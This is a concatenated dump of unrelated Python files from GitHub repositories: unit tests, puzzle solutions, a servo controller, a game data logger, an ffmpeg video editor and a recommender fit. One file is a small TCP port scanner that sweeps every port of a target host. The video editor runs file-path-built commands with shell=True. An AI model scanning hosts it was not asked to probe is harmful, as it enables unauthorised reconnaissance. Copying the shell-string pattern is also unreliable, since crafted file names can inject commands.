repository=True)\n\n def testPrintDirectoryStatus(self):\n handle = self.getRbuildHandle()\n from rbuild_plugins import status\n mock.mockMethod(handle.Status._printOneDirectoryStatus)\n mock.mock(dirstore, 'CheckoutProductStore')\n dirstore.CheckoutProductStore().getProductDefinitionDirectory._mock.setDefaultReturn('/full/path/.rbuild/product-definition')\n dirstore.CheckoutProductStore().getBaseDirectory._mock.setDefaultReturn('/full/path')\n\n handle.Status._printOneDirectoryStatus._mock.setDefaultReturn(None)\n self.mock(os, 'walk', lambda x: [\n ('/full/path', ['Development', '.rbuild'], False)])\n handle.Status.printDirectoryStatus('/full/path', product=True)\n self.unmock()\n handle.Status._printOneDirectoryStatus._mock.assertCalled(\n '/full/path/.rbuild/product-definition',\n 'Product Definition', status.DEFAULT, proddef=True,\n local=True, repository=True)\n handle.Status._printOneDirectoryStatus._mock.assertCalled(\n '/full/path', '/full/path', status.DEFAULT, '',\n local=True, repository=True)\n handle.Status._printOneDirectoryStatus._mock.assertCalled(\n '/full/path/Development', 'Development', status.DEFAULT, None,\n local=True, repository=True)\n self.mock(os, 'walk', lambda x: [])\n handle.Status.printDirectoryStatus('bogus', product=True)\n self.unmock()\n handle.Status._printOneDirectoryStatus._mock.assertCalled(\n '/full/path/.rbuild/product-definition',\n 'Product Definition', status.DEFAULT, proddef=True,\n local=True, repository=True)\n handle.Status._printOneDirectoryStatus._mock.assertCalled(\n 'bogus', 'bogus', status.DEFAULT, '',\n local=True, repository=True)\n\n self.assertRaises(ValueError, handle.Status.printDirectoryStatus,\n 'bogus', product=True, local=False, repository=False)\n\n def testPrintOneDirectoryStatus(self):\n self.initProductDirectory(self.workDir)\n os.chdir(self.workDir)\n handle = self.getRbuildHandle(productStore=mock.MockObject())\n from rbuild_plugins import status\n mock.mockMethod(handle.facade.conary.getCheckoutLog)\n mock.mock(handle.facade.conary, 'isConaryCheckoutDirectory')\n mock.mock(dirstore, 'getStageNameFromDirectory')\n\n outputList = []\n def captureOutput(k, msg, *args):\n outputList.append('%s' % (msg % args, ))\n self.mock(ui.UserInterface, 'write', captureOutput)\n mock.mockMethod(handle.facade.conary._getNewerRepositoryVersions)\n\n # No changes, no product, no noise\n handle.facade.conary.isConaryCheckoutDirectory._mock.setDefaultReturn(\n False)\n handle.facade.conary.getCheckoutLog._mock.setDefaultReturn(['nothing has been committed'])\n dirstore.getStageNameFromDirectory._mock.setDefaultReturn('devel')\n handle.Status.printDirectoryStatus('.')\n self.assertEquals(outputList, [])\n\n\n os.chdir('devel')\n self.newpkg('NewPackage')\n os.chdir(self.workDir)\n handle.facade.conary.isConaryCheckoutDirectory._mock.setDefaultReturn(\n True)\n mock.mockMethod(handle.facade.conary.getCheckoutStatus)\n mock.mockMethod(handle.facade.conary.iterCheckoutDiff)\n handle.facade.conary.getCheckoutStatus._mock.setDefaultReturn(\n [('A', 'NewPackage.recipe')])\n handle.facade.conary.iterCheckoutDiff._mock.setDefaultReturn(\n ['+++ NewPackage.recipe', '--- /dev/null', '+the recipe text'])\n pendingAnnounce = handle.Status._printOneDirectoryStatus('.',\n 'NewPackage', status.VERBOSE, pendingAnnounce='', repository=False)\n expectedTxt = [\n '\\n',\n 'devel stage status:\\n===================',\n 'L- NewPackage',\n ' * Local changes not committed to repository:',\n 'L- A NewPackage/NewPackage.recipe',\n '+++ NewPackage.recipe',\n '--- /dev/null',\n '+the recipe text',\n ]\n self.assertEquals(outputList, expectedTxt)\n del outputList[:]\n self.assertEquals(pendingAnnounce, 'devel')\n\n handle.facade.conary._getNewerRepositoryVersions._mock.setDefaultReturn(\n ['0.1'])\n handle.facade.conary.getCheckoutLog._mock.setDefaultReturn(\n ['fake log message'])\n mock.mockMethod(handle.facade.conary.iterRepositoryDiff)\n handle.facade.conary.iterRepositoryDiff._mock.setDefaultReturn(\n ['fake repository diff'])\n handle.Status._printOneDirectoryStatus('.', 'NewPackage',\n status.VERBOSE, pendingAnnounce='devel', local=False)\n expectedTxt = [\n '-R NewPackage',\n ' * Remote repository commit messages for newer versions:',\n '-R fake log message',\n 'fake repository diff'\n ]\n del outputList[:]\n\n # just pretend this is a product checkout...\n handle.facade.conary.getCheckoutStatus._mock.setDefaultReturn(\n [('M', 'product-definition.xml')])\n handle.product.getProductName._mock.setDefaultReturn('1')\n handle.product.getProductVersion._mock.setDefaultReturn('2')\n handle.Status._printOneDirectoryStatus('.', 'Product Definition',\n status.CONCISE, proddef=True, repository=False)\n expectedTxt = [\n 'Product 1-2 status:\\n===================',\n 'L- Product Definition',\n ]\n self.assertEquals(outputList, expectedTxt)\n\n def testMacroInComment(self):\n self.initProductDirectory(self.workDir)\n os.chdir(self.workDir)\n handle = self.getRbuildHandle(productStore=mock.MockObject())\n from rbuild_plugins import status\n mock.mockMethod(handle.facade.conary.getCheckoutLog)\n mock.mock(dirstore, 'getStageNameFromDirectory')\n mock.mock(handle.facade.conary, 'isConaryCheckoutDirectory')\n dirstore.getStageNameFromDirectory._mock.setDefaultReturn('devel')\n mock.mockMethod(handle.facade.conary._getNewerRepositoryVersions)\n\n outputList = []\n def captureOutput(k, msg, *args):\n outputList.append('%s' % (msg % args, ))\n self.mock(ui.UserInterface, 'write', captureOutput)\n\n os.chdir('devel')\n self.newpkg('NewPackage')\n os.chdir(self.workDir)\n handle.facade.conary.isConaryCheckoutDirectory._mock.setDefaultReturn(\n True)\n mock.mockMethod(handle.facade.conary.getCheckoutStatus)\n mock.mockMethod(handle.facade.conary.iterCheckoutDiff)\n handle.facade.conary.getCheckoutStatus._mock.setDefaultReturn(\n [('A', 'NewPackage.recipe')])\n handle.facade.conary.iterCheckoutDiff._mock.setDefaultReturn(\n ['+++ NewPackage.recipe', '--- /dev/null', '+the %(recipe)s text'])\n pendingAnnounce = handle.Status._printOneDirectoryStatus('.',\n 'NewPackage', status.VERBOSE, pendingAnnounce='', repository=False)\n expectedTxt = [\n '\\n',\n 'devel stage status:\\n===================',\n 'L- NewPackage',\n ' * Local changes not committed to repository:',\n 'L- A NewPackage/NewPackage.recipe',\n '+++ NewPackage.recipe',\n '--- /dev/null',\n '+the %(recipe)s text',\n ]\n self.assertEquals(outputList, expectedTxt)\n del outputList[:]\n self.assertEquals(pendingAnnounce, 'devel')\n","repo_name":"sassoftware/rbuild","sub_path":"rbuild_test/unit_test/pluginstest/statustest.py","file_name":"statustest.py","file_ext":"py","file_size_in_byte":11366,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"71518341591","text":"with open(\"input4.txt\") as f:\n raw = f.read()\n\npp = raw.split(\"\\n\\n\")\nppd = list()\nfor p in pp:\n\n p = p.replace(\"\\n\", \" \")\n p = p.strip()\n if not p:\n continue\n pairs = p.split(\" \")\n ppd.append({s.split(\":\")[0]: s.split(\":\")[1] for s in pairs})\n\n\ndef isvalid(p):\n if not {\"byr\", \"iyr\", \"eyr\", \"hgt\", \"hcl\", \"ecl\", \"pid\"}.issubset(ks):\n return False\n print(p)\n\n if not len(p[\"byr\"]) == 4:\n return False\n if not (1920 <= int(p[\"byr\"]) <= 2002):\n return False\n if not (2010 <= int(p[\"iyr\"]) <= 2020):\n return False\n if not (2020 <= int(p[\"eyr\"]) <= 2030):\n return False\n\n if p[\"hgt\"].endswith(\"cm\"):\n num = p[\"hgt\"].split(\"cm\")[0]\n if not 150 <= int(num) <= 193:\n return False\n elif p[\"hgt\"].endswith(\"in\"):\n num = p[\"hgt\"].split(\"in\")[0]\n if not (59 <= int(num) <= 76):\n return False\n else:\n return False\n\n if not p[\"hcl\"].startswith(\"#\"):\n return False\n if not len(p[\"hcl\"]) == 7:\n return False\n for c in p[\"hcl\"][1:]:\n if not c in \"abcdef0123456789\":\n return False\n\n if not p[\"ecl\"] in [\"amb\", \"blu\", \"brn\", \"gry\", \"grn\", \"hzl\", \"oth\"]:\n return False\n\n if not len(p[\"pid\"]) == 9:\n return False\n for c in p[\"pid\"]:\n if not c in \"0123456789\":\n return False\n\n return True\n\n\nok = 0\nfor p in ppd:\n ks = set(p.keys())\n if isvalid(p):\n ok += 1\nprint(ok)\n","repo_name":"dandiez/AdventOfCode","sub_path":"2020/day_04/day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"8834795014","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def deleteNode(self, root: Optional[TreeNode], key: int) -> Optional[TreeNode]:\n parent, r_node = self.search(None, root, key)\n\n if r_node:\n c_children = self.count_children(r_node)\n if c_children == 0:\n if parent:\n if r_node.val < parent.val:\n parent.left = None\n else: # r_node.val > parent.val\n parent.right = None\n else:\n root = None\n\n elif c_children == 1:\n if r_node.left:\n child = r_node.left\n else: # r_node.right:\n child = r_node.right\n if parent:\n if parent.val > r_node.val:\n parent.left = child\n else:\n parent.right = child\n else:\n root = child\n\n else: # c_children == 2:\n p, successor = r_node, r_node.right\n while successor.left:\n p, successor = successor, successor.left\n r_node.val = successor.val\n\n if p.val > successor.val:\n p.left = successor.right\n else:\n p.right = successor.right\n return root\n\n\n def search(self, parent, curr, key):\n if curr:\n if curr.val == key:\n return parent, curr\n elif curr.val > key:\n return self.search(curr, curr.left, key)\n else: # curr.val < key:\n return self.search(curr, curr.right, key)\n return None, None\n\n\n def count_children(self, node):\n count = 0\n if node.left:\n count += 1\n if node.right:\n count += 1\n return count","repo_name":"long-practice/llong","sub_path":"Algorithm/Algo_Problem/Leetcode/Leetcode_450.py","file_name":"Leetcode_450.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9976143280","text":"import RPi.GPIO as GPIO\nfrom time import sleep\n\nGPIO.setmode(GPIO.BCM)\n\n# GPIO Servo모터 제어\n\nservo_pin = 18\n\nGPIO.setup(servo_pin, GPIO.OUT)\nservo = GPIO.PWM(servo_pin, 50) # 50Hz( 서보모터 PWM 동작을 위한 주파수 )\nservo.start(0) # 서보모터의 0도 위치( 0.6ms ) 이동: 값 3.0은 pwm 주기인 20ms 의 3% 를 의미\n\nservo_min_duty = 3\nservo_max_duty = 12\n\ndef set_servo_degree(degree):\n\n if degree > 180:\n degree = 180\n elif degree < 0:\n degree = 0\n\n duty = servo_min_duty+(degree*(servo_max_duty-servo_min_duty)/180.0)\n servo.ChangeDutyCycle(duty)\n\n### 이부분은 아두이노 코딩의 loop()에 해당합니다\ntry: # 이 try 안의 구문을 먼저 수행하고\n while True: # 무한루프 시작: 아두이노의 loop()와 같음\n set_servo_degree(0) # 서보모터의 각도를 0도로\n sleep(1) # 1초간 대기\n set_servo_degree(90)\n sleep(1)\n set_servo_degree(120)\n sleep(1)\n set_servo_degree(180)\n sleep(1)\n\n### 이부분은 반드시 추가해주셔야 합니다.\nfinally: # try 구문이 종료되면\n GPIO.cleanup() # GPIO 핀들을 초기화","repo_name":"GGeun123/SmartFarm","sub_path":"motor2.py","file_name":"motor2.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22992318905","text":"__author__ = 'rex8312'\n\nfrom sqlitedict import SqliteDict\nfrom uuid import uuid4\nfrom time import time\nfrom Consts import *\nfrom Objects import *\nimport csv\nimport numpy as np\nfrom sklearn.neighbors import NearestNeighbors\nfrom Model import *\n\n\ngame_sar_file_name = \"data/sars.csv\"\ngame_win_file_name = \"data/wins.csv\"\nDISCOUNT_FACTOR = 0.1\n\n\nclass DataManager:\n game_sars_buffer = list()\n game_wins_buffer = list()\n red_assets = list()\n blue_assets = list()\n\n def reset(self):\n self.game_sars_buffer = list()\n self.game_wins_buffer = list()\n self.red_assets = list()\n self.blue_assets = list()\n\n def save(self):\n with open(game_sar_file_name, 'ab') as game_sar_file:\n game_sars_buff = self.game_sars_buffer[:]\n game_sars_buff.extend([game_sars_buff[-1] for _ in range(11)])\n game_log_writer = csv.writer(game_sar_file)\n for i, game_log in enumerate(game_sars_buff[:-11]):\n game_log['r'] = 0\n for j in range(1, 11):\n game_log['r'] += 0.7 ** j * (game_sars_buff[i + j]['e'] - game_log['e'])\n game_log_writer.writerow(game_log['s'] + [game_log['a'], game_log['r']])\n self.game_sars_buffer = list()\n\n with open(game_win_file_name, 'ab') as game_win_file:\n game_wins_writer = csv.writer(game_win_file)\n for game_win in self.game_wins_buffer:\n game_wins_writer.writerow([game_win['w']])\n self.game_wins_buffer = list()\n\n self.red_assets = list()\n self.blue_assets = list()\n\n def transform(self, state, red_player, blue_player):\n vec = [red_player.money, blue_player.money]\n for y in range(3):\n for x in range(3):\n area_vec = [0, 0, 0, 0, 0, 0, 0, 0]\n for entity in state[y][x][TEAM.RED]:\n if isinstance(entity, HQ):\n area_vec[0] += 1\n elif isinstance(entity, Rock):\n area_vec[1] += 1\n elif isinstance(entity, Scissors):\n area_vec[2] += 1\n elif isinstance(entity, Paper):\n area_vec[3] += 1\n for entity in state[y][x][TEAM.BLUE]:\n if isinstance(entity, HQ):\n area_vec[4] += 1\n elif isinstance(entity, Rock):\n area_vec[5] += 1\n elif isinstance(entity, Scissors):\n area_vec[6] += 1\n elif isinstance(entity, Paper):\n area_vec[7] += 1\n vec.extend(area_vec)\n return vec\n\n def add_sa(self, tick, red_player, blue_player, state, red_assets, blue_assets):\n vec = self.transform(state, red_player, blue_player)\n self.game_sars_buffer.append({'s': vec, 'a': blue_player.next_action, 'e': blue_assets - red_assets})\n\n def add_win(self, win):\n self.game_wins_buffer.append({'w': win, 't': time()})\n\n def get_model(self):\n conditions = list()\n actions = list()\n rewards = list()\n try:\n with open(game_sar_file_name, 'rb') as f:\n reader = csv.reader(f)\n for x in reader:\n conditions.append(map(float, x[:-2]))\n actions.append(int(x[-2]))\n rewards.append(float(x[-1]))\n\n return Model(conditions, actions, rewards)\n except IOError:\n return RandomModel()\n\n def get_wins(self):\n wins = list()\n try:\n with open(game_win_file_name, 'rb') as game_win_file:\n reader = csv.reader(game_win_file)\n for win in reader:\n wins.append(float(win[0]))\n\n N = 1\n if len(wins) > 50:\n N = 50\n wins = np.convolve(wins, [1./N for _ in range(N)])\n return wins[N:-N]\n except IOError:\n return [0.5]\n\n def evaluate_state(self, state, red_player, blue_player):\n red_assets = red_player.money\n blue_assets = blue_player.money\n\n for y in range(3):\n for x in range(3):\n for entity in state[y][x][TEAM.RED]:\n red_assets += entity.hp\n for entity in state[y][x][TEAM.BLUE]:\n blue_assets += entity.hp\n\n self.red_assets.append(red_assets)\n self.blue_assets.append(blue_assets)\n return red_assets, blue_assets\n\n\n\n","repo_name":"rex8312/Test0710","sub_path":"DataManager.py","file_name":"DataManager.py","file_ext":"py","file_size_in_byte":4593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6094680407","text":"import subprocess\nimport os\nimport configparser\nfrom pathlib import Path\n\n\nclass VideoEditor:\n def __init__(self, width, height,\n input_video=None, input_dir=None,\n processed_dir=None, temp_dir=None, audio_dir=None,\n processed_videos_dir=None, assets_dir=None,\n watermark_text=None):\n\n self.input_video = input_video\n self.width = width\n self.height = height\n\n # Get the path of the current script (absolute path)\n current_script_path = Path(__file__).resolve()\n # Get the project folder (VideoFactory)\n project_folder = current_script_path.parent.parent.parent\n # Construct the path to config.ini in the parent folder\n config_path = project_folder / \"config.ini\"\n # Read the configuration file\n config = configparser.ConfigParser()\n config.read(config_path)\n\n # Use Path concatenation for input_dir, processed_dir, temp_dir, audio_dir, and processed_videos_dir\n self.input_dir = input_video or project_folder / config.get('paths', 'input_dir')\n self.processed_dir = processed_dir or project_folder / config.get('paths', 'processed_dir')\n self.temp_dir = temp_dir or project_folder / config.get('paths', 'temp_dir')\n self.audio_dir = audio_dir or project_folder / config.get('paths', 'audio_dir')\n self.processed_videos_dir = processed_videos_dir or project_folder / config.get('paths', 'processed_videos_dir')\n self.assets_dir = assets_dir or project_folder / config.get('paths', 'assets_dir')\n\n self.watermark_text = watermark_text or os.environ.get('WATERMARK_TEXT', '@YourChannel')\n\n @staticmethod\n def run_command(command):\n # Run the command with subprocess, using shell mode to execute the command as a string.\n # Set check=True to raise an exception if the command returns a non-zero exit code.\n # Redirect the standard output (stdout) and standard error (stderr) to /dev/null to suppress any output.\n try:\n subprocess.run(command, shell=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n except subprocess.CalledProcessError as e:\n print(f\"Command failed: {e}\")\n\n @staticmethod\n def find_closest_audio_match(mp4_file, videos_dir=None):\n # Get the project folder (VideoFactory)\n project_folder = Path(__file__).resolve().parent.parent.parent\n\n # Read the configuration file\n config = configparser.ConfigParser()\n config_path = project_folder / \"config.ini\"\n config.read(config_path)\n\n # Use Path concatenation for audio_dir, and processed_dir\n audio_dir = Path(project_folder / config.get('paths', 'audio_dir'))\n processed_dir = Path(project_folder / config.get('paths', 'processed_dir'))\n # print(processed_dir)\n\n if videos_dir is None:\n videos_dir = processed_dir\n\n audio_files = []\n\n # Scan all mp3 files in the \"audio\" directory and append their names and lengths to the audio_files list\n for file in os.listdir(audio_dir):\n if file.endswith(\".mp3\"):\n mp3_filepath = os.path.join(audio_dir, file).replace(\"\\\\\", \"/\") # Use forward slash instead of backslash\n length = int(round(float(subprocess.check_output(f'ffprobe -i \"{mp3_filepath}\" -show_entries format=duration -v quiet -of csv=\"p=0\"', shell=True).decode())))\n\n audio_files.append({\"name\": file, \"length\": length})\n\n mp4_filepath = os.path.join(videos_dir, mp4_file).replace(\"\\\\\", \"/\") # Use forward slash instead of backslash\n mp4_duration = int(round(float(subprocess.check_output(f'ffprobe -i \"{mp4_filepath}\" -show_entries format=duration -v quiet -of csv=\"p=0\"', shell=True).decode())))\n\n equal_match = None\n longest_match = None\n shortest_match = None\n min_difference = float('inf')\n\n for audio_file in audio_files:\n diff = audio_file[\"length\"] - mp4_duration\n if diff == 0: # If the audio file is the same length as the video file, choose it immediately\n equal_match = audio_file[\"name\"]\n break\n elif diff > 0: # If the audio file is longer than the video file\n if not shortest_match or audio_file['length'] < shortest_match['length']:\n shortest_match = audio_file\n continue\n elif not longest_match or audio_file['length'] > longest_match['length']:\n longest_match = audio_file\n else: # Choose the audio file that is closest in duration to the video file\n abs_diff = abs(mp4_duration - audio_file[\"length\"])\n if abs_diff < min_difference:\n closest_match = audio_file[\"name\"]\n min_difference = abs_diff\n\n if equal_match:\n closest_match = equal_match\n # If the longest audio file is still shorter in length than the video file, choose the longest audio file that is shorter than the video file\n elif longest_match and longest_match['length'] < mp4_duration:\n closest_match = longest_match['name']\n # Choose the shortest audio file that is greater in length than the video file\n elif shortest_match:\n closest_match = shortest_match['name']\n else:\n closest_match = min(audio_files, key=lambda x: abs(x['length'] - mp4_duration))['name']\n\n # print(f\"The closest match is {closest_match}\")\n # print(closest_match)\n # print(f\"{mp4_file} ({mp4_duration}s) - {closest_match}\")\n return closest_match\n\n def remove_d_id_watermark(self, input_image, output_video=None):\n output_video = output_video or self.input_video.replace(\"_d_id.mp4\", \"_no_watermark.mp4\")\n\n # Resize video\n cmd_resize_video = (\n f'ffmpeg -i \\\"{self.input_video}\\\" -vf scale={self.width}:{self.height} '\n f'\\\"{self.input_video.replace(\".mp4\", \"_resized.mp4\")}\\\" -y'\n )\n self.run_command(cmd_resize_video)\n\n # Crop top portion of video\n crop_height = self.height * (862/960)\n cmd_crop_top_video = (\n f'ffmpeg -i \\\"{self.input_video.replace(\".mp4\", \"_resized.mp4\")}\\\" '\n f'-filter:v \"crop=in_w:{crop_height}:0:0\" '\n f'\\\"{self.input_video.replace(\".mp4\", \"_cropped_top.mp4\")}\\\" -y'\n )\n self.run_command(cmd_crop_top_video)\n\n # Resize image\n cmd_resize_png = (\n f'ffmpeg -i \\\"{input_image}\\\" -vf scale={self.width}:{self.height} '\n f'\\\"{input_image.replace(\".png\", \"_resized.png\")}\\\" -y'\n )\n self.run_command(cmd_resize_png)\n\n # Crop bottom portion of image\n crop_height = self.height * (98/960)\n cmd_crop_bottom_png = (\n f'ffmpeg -i \\\"{input_image.replace(\".png\", \"_resized.png\")}\\\" '\n f'-filter:v \"crop=in_w:{crop_height}:0:{self.height}\" '\n f'\\\"{input_image.replace(\".png\", \"_cropped_bottom.png\")}\\\" -y'\n )\n self.run_command(cmd_crop_bottom_png)\n\n # Combine top portion of the video with bottom portion of the image\n cmd_vstack_videos = (\n f'ffmpeg -i \\\"{self.input_video.replace(\".mp4\", \"_cropped_top.mp4\")}\\\" '\n f'-i \\\"{input_image.replace(\".png\", \"_cropped_bottom.png\")}\\\" '\n f'-filter_complex vstack=inputs=2 '\n f'\\\"{output_video}\\\" -y'\n )\n self.run_command(cmd_vstack_videos)\n\n # Deleting temporary files (For Unix-based systems: Use the 'rm' command)\n self.run_command(f'del \\\"{self.input_video.replace(\".mp4\", \"_resized.mp4\")}\\\"')\n self.run_command(f'del \\\"{self.input_video.replace(\".mp4\", \"_cropped_top.mp4\")}\\\"')\n self.run_command(f'del \\\"{input_image.replace(\".png\", \"_resized.png\")}\\\"')\n self.run_command(f'del \\\"{input_image.replace(\".png\", \"_cropped_bottom.png\")}\\\"')\n\n return output_video\n\n def merge_audio_files_with_fading_effects(self, basename=None):\n\n if not self.temp_dir.exists(): # Check if temp directory does not exist\n self.temp_dir.mkdir() # Create temp directory\n if basename is None:\n basename = Path(self.input_video).stem.split(\"_\")[0]\n\n audio_filename = Path(self.find_closest_audio_match(self.input_video)).stem\n\n # Merge audio files (narration from the video & music) with fading effects and color correction\n mp4_volume_temp_filepath = self.temp_dir / f\"{basename}_volume_temp.mp4\"\n audio_filepath = self.audio_dir / f\"{audio_filename}.mp3\"\n audio_volume_temp_filepath = self.temp_dir / f\"{audio_filename}_volume_temp.mp3\"\n merged_audio_temp_filepath = self.temp_dir / f\"{basename}_merged_audio_temp.mp3\"\n merged_audio_faded_temp_filepath = self.temp_dir / f\"{basename}_merged_audio_faded_temp.mp3\"\n mp4_shortest_temp_filepath = self.temp_dir / f\"{basename}_shortest_temp.mp4\"\n mp4_output_filepath = self.processed_videos_dir / f\"{basename}_output.mp4\"\n\n cmd_merge_audio_files_with_fading_effects = (\n f'ffmpeg -i \"{self.input_video}\" -af \"volume=12dB\" -c:v copy \"{mp4_volume_temp_filepath}\" -y && '\n f'ffmpeg -i \"{audio_filepath}\" -af \"volume=-18.5dB\" \"{audio_volume_temp_filepath}\" -y && '\n f'ffmpeg -i \"{mp4_volume_temp_filepath}\" -i \"{audio_volume_temp_filepath}\" '\n f'-filter_complex amix=inputs=2:duration=first \"{merged_audio_temp_filepath}\" -y && '\n f'ffmpeg -i \"{merged_audio_temp_filepath}\" -filter_complex \"afade=d=0.3, areverse, afade=d=0.3, areverse\" '\n f'\"{merged_audio_faded_temp_filepath}\" -y && '\n f'ffmpeg -i \"{merged_audio_faded_temp_filepath}\" -i \"{mp4_volume_temp_filepath}\" -map 0:a -map 1:v '\n f'-c:v copy -shortest \"{mp4_shortest_temp_filepath}\" -y && '\n f'ffmpeg -i \"{mp4_shortest_temp_filepath}\" -c:v libx264 -crf 18 -preset slow -profile:v high -level:v 4.1 '\n f'-pix_fmt yuv420p -colorspace bt709 -color_trc bt709 -color_primaries bt709 -c:a copy \"{mp4_output_filepath}\" -y'\n )\n # print(\"#######################################################################################################\")\n # print('cmd_merge_audio_files_with_fading_effects')\n # print(cmd_merge_audio_files_with_fading_effects)\n # print(\"#######################################################################################################\")\n self.run_command(cmd_merge_audio_files_with_fading_effects)\n\n # Remove temporary files\n mp4_volume_temp_filepath.unlink()\n audio_volume_temp_filepath.unlink()\n merged_audio_temp_filepath.unlink()\n merged_audio_faded_temp_filepath.unlink()\n mp4_shortest_temp_filepath.unlink()\n\n return mp4_output_filepath\n\n def add_watermark_text(self, basename=None):\n if not os.path.exists(self.temp_dir): # Check if temp directory does not exist\n os.mkdir(self.temp_dir) # Create temp directory\n if basename is None:\n basename = Path(self.input_video).stem.split(\"_\")[0]\n\n # Add watermark text\n fontfile_filepath = os.path.join(self.assets_dir, 'fonts', 'Anton-Regular.ttf').replace(\"\\\\\", \"/\").replace(\":\", \"\\\\\\\\:\")\n mp4_output_wm_filepath = os.path.join(self.processed_videos_dir, f'{basename}_output_wm.mp4').replace(\"\\\\\", \"/\")\n cmd_add_watermark_text = (\n f'ffmpeg -i \\\"{self.input_video}\\\" -vf \"drawtext=fontfile=\\\"{fontfile_filepath}\\\": text=\\'{self.watermark_text}\\': fontcolor=white@0.7: '\n f'fontsize=18: x=(w-text_w)/2: y=(h-text_h)*0.78\" -codec:a copy \\\"{mp4_output_wm_filepath}\\\" -y && '\n f'rmdir /q \\\"{self.temp_dir}\\\"'\n )\n # print(\"#######################################################################################################\")\n # print('cmd_add_watermark_text')\n # print(cmd_add_watermark_text)\n # print(\"#######################################################################################################\")\n self.run_command(cmd_add_watermark_text)\n\n return mp4_output_wm_filepath\n\n def join_videos(self, input_videos, output_filepath=None):\n if not output_filepath:\n output_filepath = \"output.mp4\"\n\n # Create a string of input options for FFmpeg\n input_options = \"\"\n for input_video in input_videos:\n input_options += f'-i \"{input_video}\" '\n\n # Construct the FFmpeg command to join the videos\n filter_complex = \"\"\n stream_concatenation = \"\"\n\n for i in range(len(input_videos)):\n filter_complex += f\"[{i}:v:0]setsar=1[sar{i}];\"\n stream_concatenation += f\"[sar{i}][{i}:a:0]\"\n\n command = (\n f'ffmpeg {input_options}-filter_complex '\n f'\"{filter_complex}{stream_concatenation}concat=n={len(input_videos)}:v=1:a=1[outv][outa]\" '\n f'-map \"[outv]\" -map \"[outa]\" \\\"{output_filepath}\\\" -y'\n )\n\n # Execute the FFmpeg command\n # print(command)\n self.run_command(command)\n\n return output_filepath\n\n def extract_last_frame(self, video_file, output_path=None) -> Path:\n if output_path is None:\n output_path = Path(video_file).parent / Path(video_file).stem\n\n # Use pathlib for paths and avoid string formatting\n output_path = Path(output_path)\n video_file = Path(video_file)\n\n command = [\n 'ffmpeg',\n '-sseof', '-1',\n '-i', str(video_file),\n '-update', '1',\n '-q:v', '1',\n str(output_path.with_suffix('.png')),\n '-y'\n ]\n\n # Execute the command\n self.run_command(command)\n\n # Return the output path\n return output_path.with_suffix('.png')\n\n def join_videos_without_audio(self, input_videos, output_filepath=None):\n if not output_filepath:\n output_filepath = \"output.mp4\"\n\n # Create a string of input options for FFmpeg\n input_options = \"\"\n for input_video in input_videos:\n input_options += f'-i \"{input_video}\" '\n\n # Construct the FFmpeg command to join the videos without audio\n filter_complex = \"\"\n\n for i in range(len(input_videos)):\n if i == len(input_videos) - 1:\n filter_complex += f\" concat=n={len(input_videos)}:v=1 [v]\"\n else:\n filter_complex += f\" [{i}:v]\"\n\n command = (\n f'ffmpeg {input_options}-filter_complex \"{filter_complex}\" '\n f'-map \"[v]\" \"{output_filepath}\" -y'\n )\n\n # Execute the FFmpeg command\n # print(command)\n self.run_command(command)\n\n return output_filepath\n","repo_name":"meap158/VideoFactory","sub_path":"videofactory/editors/video_editor.py","file_name":"video_editor.py","file_ext":"py","file_size_in_byte":14910,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"12855126446","text":"#/usr/bin/python3\n\nimport socket\nimport sys\n\n#(socket.AF_INET, socket.SOCK_STREAM)\n\nfor port in range(1, 65535):\n \n meusocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n resp = meusocket.connect_ex((sys.argv[1], port))\n\n if (resp == 0):\n print(f\"porta {port} aberta\")\n # meusocket.close()\n \n #else:\n # print(\"porta fechada\")\n","repo_name":"w4rth0rtl3/Pentest","sub_path":"Scripts/port-scanner.py","file_name":"port-scanner.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"22876347535","text":"'''\nCosa.py\n'''\nimport numpy as np\nfrom scipy.optimize import fmin_cg\n\n\ndef simple_fit(ui_matrix, r_matrix, num_features, lam):\n \"\"\"\n Ajusta el modelo de regresion dada una matriz de calificaciones y\n una mascara de calificados\n \"\"\"\n y = ui_matrix\n r = r_matrix\n num_items, num_users = y.shape\n\n theta0 = np.random.rand(num_users, num_features)\n x0 = np.random.rand(num_items, num_features)\n\n def fold_matrices(x_matrix, theta_matrix):\n return np.concatenate([x_matrix.flatten(), theta_matrix.flatten()])\n\n def unfold_vector(x):\n x_matrix = np.reshape(x[:x0.size],\n x0.shape)\n theta_matrix = np.reshape(x[x0.size:],\n theta0.shape)\n return x_matrix, theta_matrix\n\n def unfold_parameter(f):\n def wrapper(x):\n return f(*unfold_vector(x))\n\n return wrapper\n\n @unfold_parameter\n def optimization_target(x, theta):\n differences = np.multiply((np.dot(x, theta.T) - y), r)\n square_error = (0.5) * np.sum(differences**2)\n regularization = (lam / 2) * (np.sum(x**2) + np.sum(x**2))\n\n return square_error + regularization\n\n @unfold_parameter\n def gradient(x, theta):\n differences = np.multiply((np.dot(x, theta.T) - y), r)\n x_grad = np.dot(differences, theta) + lam * x\n theta_grad = np.dot(x.T, differences).T + lam * theta\n\n return fold_matrices(x_grad, theta_grad)\n\n init_fold = fold_matrices(x0, theta0)\n result = fmin_cg(f=optimization_target, x0=init_fold, fprime=gradient)\n\n x, theta = unfold_vector(result)\n\n return x, theta\n\n\ndef fit_user(ratings, mask, features, means=None, lam=1):\n if means is None:\n means = np.zeros(ratings.shape)\n\n theta0 = np.random.rand(features.shape[1])\n\n def optimization_target(theta):\n differences = np.multiply((np.dot(features, theta.T) - ratings), mask)\n return 0.5 * 